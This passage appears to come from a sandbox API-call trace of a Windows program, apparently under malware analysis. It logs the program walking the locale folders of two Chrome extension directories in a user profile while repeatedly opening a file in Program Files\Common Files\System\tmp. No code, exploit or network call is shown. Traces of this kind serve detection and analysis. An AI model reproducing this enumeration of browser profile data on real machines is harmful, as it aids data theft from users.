cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.762] GetFileType (hFile=0x19c) returned 0x1 [0132.762] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x2452e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.762] AreFileApisANSI () returned 1 [0132.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.762] GetFileType (hFile=0x19c) returned 0x1 [0132.762] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24633, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.762] AreFileApisANSI () returned 1 [0132.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.762] GetFileType (hFile=0x19c) returned 0x1 [0132.763] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24738, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.763] AreFileApisANSI () returned 1 [0132.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.763] GetFileType (hFile=0x19c) returned 0x1 [0132.763] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x2483a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.763] AreFileApisANSI () returned 1 [0132.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.763] GetFileType (hFile=0x19c) returned 0x1 [0132.763] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x2493c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.763] AreFileApisANSI () returned 1 [0132.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.763] GetFileType (hFile=0x19c) returned 0x1 [0132.764] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24a3e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.764] AreFileApisANSI () returned 1 [0132.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.764] GetFileType (hFile=0x19c) returned 0x1 [0132.764] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24b40, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.764] AreFileApisANSI () returned 1 [0132.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.764] GetFileType (hFile=0x19c) returned 0x1 [0132.764] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24c42, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.764] AreFileApisANSI () returned 1 [0132.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.765] GetFileType (hFile=0x19c) returned 0x1 [0132.765] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24d44, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.765] AreFileApisANSI () returned 1 [0132.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.765] GetFileType (hFile=0x19c) returned 0x1 [0132.765] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24e46, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.765] AreFileApisANSI () returned 1 [0132.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.765] GetFileType (hFile=0x19c) returned 0x1 [0132.765] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x25000, nFileSizeHigh=0x0, nFileSizeLow=0x24f48, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0132.765] AreFileApisANSI () returned 1 [0132.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.766] GetFileType (hFile=0x19c) returned 0x1 [0132.766] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x2504a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.766] AreFileApisANSI () returned 1 [0132.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.766] GetFileType (hFile=0x19c) returned 0x1 [0132.766] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x2514c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.766] AreFileApisANSI () returned 1 [0132.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.766] GetFileType (hFile=0x19c) returned 0x1 [0132.766] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x25251, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.767] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0132.767] GetLastError () returned 0x12 [0132.767] AreFileApisANSI () returned 1 [0132.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0132.767] GetFileType (hFile=0x198) returned 0x1 [0132.768] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0132.862] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0132.862] GetLastError () returned 0x12 [0132.862] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0132.862] GetLastError () returned 0x12 [0132.862] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0132.862] GetLastError () returned 0x12 [0132.862] AreFileApisANSI () returned 1 [0132.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0132.862] GetFileType (hFile=0x190) returned 0x1 [0132.863] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0132.863] AreFileApisANSI () returned 1 [0132.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0132.863] GetFileType (hFile=0x194) returned 0x1 [0132.863] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0132.910] AreFileApisANSI () returned 1 [0132.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0132.910] GetFileType (hFile=0x198) returned 0x1 [0132.910] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0133.082] AreFileApisANSI () returned 1 [0133.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.082] GetFileType (hFile=0x19c) returned 0x1 [0133.083] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x26000, nFileSizeHigh=0x0, nFileSizeLow=0x2573d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.083] AreFileApisANSI () returned 1 [0133.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.083] GetFileType (hFile=0x19c) returned 0x1 [0133.083] FindFirstFileA (in: lpFileName="C:\\Documents and 